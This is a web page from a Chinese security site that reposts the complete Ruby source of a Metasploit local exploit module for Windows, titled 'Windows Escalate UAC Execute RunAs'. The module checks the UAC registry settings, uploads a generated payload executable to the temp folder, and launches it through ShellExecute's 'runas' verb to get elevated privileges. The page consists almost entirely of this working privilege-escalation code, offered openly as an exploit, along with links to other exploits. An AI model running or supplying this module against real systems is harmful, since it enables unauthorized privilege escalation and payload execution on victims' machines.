首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Windows Escalate UAC Execute RunAs
来源:mubix[at]hak5.org 作者:mubix 发布时间:2012-10-11  
##
# $Id$
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Local
    Rank = ExcellentRanking
 
    include Post::Common
    include Exploit::EXE
    include Post::File
 
    def initialize(info={})
        super( update_info( info,
            'Name'          => 'Windows Escalate UAC Execute RunAs',
            'Description'   => %q{
                This module will attempt to elevate execution level using
                the ShellExecute undocumented RunAs flag to bypass low
                UAC settings.
            },
            'License'       => MSF_LICENSE,
            'Author'        => [
                    'mubix <mubix[at]hak5.org>' # Port to local exploit
                ],
            'Version'       => '$Revision
, 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ] ], 'DisclosureDate'=> "Jan 3, 2012" )) register_options([ OptString.new("FILENAME", [ false, "File name on disk"]), OptString.new("PATH", [ false, "Location on disk %TEMP% used if not set" ]), OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ]) ]) end def exploit root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") open_key = session.sys.registry.open_key(root_key, base_key) lua_setting = open_key.query_value('EnableLUA') if lua_setting.data == 1 print_status "UAC is Enabled, checking level..." else print_good "UAC is not enabled, no prompt for the user" end uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') case uac_level.data when 2 print_status "UAC is set to 'Always Notify'" print_status "The user will be prompted, wait for them to click 'Ok'" when 5 print_debug "UAC is set to Default" print_debug "The user will be prompted, wait for them to click 'Ok'" when 0 print_good "UAC is not enabled, no prompt for the user" end # # Generate payload and random names for upload # payload = generate_payload_exe if datastore["FILENAME"] payload_filename = datastore["FILENAME"] else payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" end if datastore["PATH"] payload_path = datastore["PATH"] else payload_path = session.fs.file.expand_path("%TEMP%") end cmd_location = "#{payload_path}\\#{payload_filename}" if datastore["UPLOAD"] print_status("Uploading #{payload_filename} - #{payload.length} bytes to the filesystem...") fd = session.fs.file.new(cmd_location, "wb") fd.write(payload) fd.close end session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5) end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apple iOS Default SSH Password
·Oracle Business Transaction Ma
·Arctic Torrent 1.2.3 Memory Co
·HP Application Lifecycle Manag
·FL Studio 10 Producer Edition
·MS12-063 Microsoft Internet Ex
·Gom Player 2.1.44.5123 (Unicod
·Microsoft Office Excel ReadAV
·PLIB 1.8.5 ssg/ssgParser.cxx B
·PHP 5.3.4 com_event_sink 0-Day
·Avaya IP Office Customer Call
·Linux binfmt_script Disclosure
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved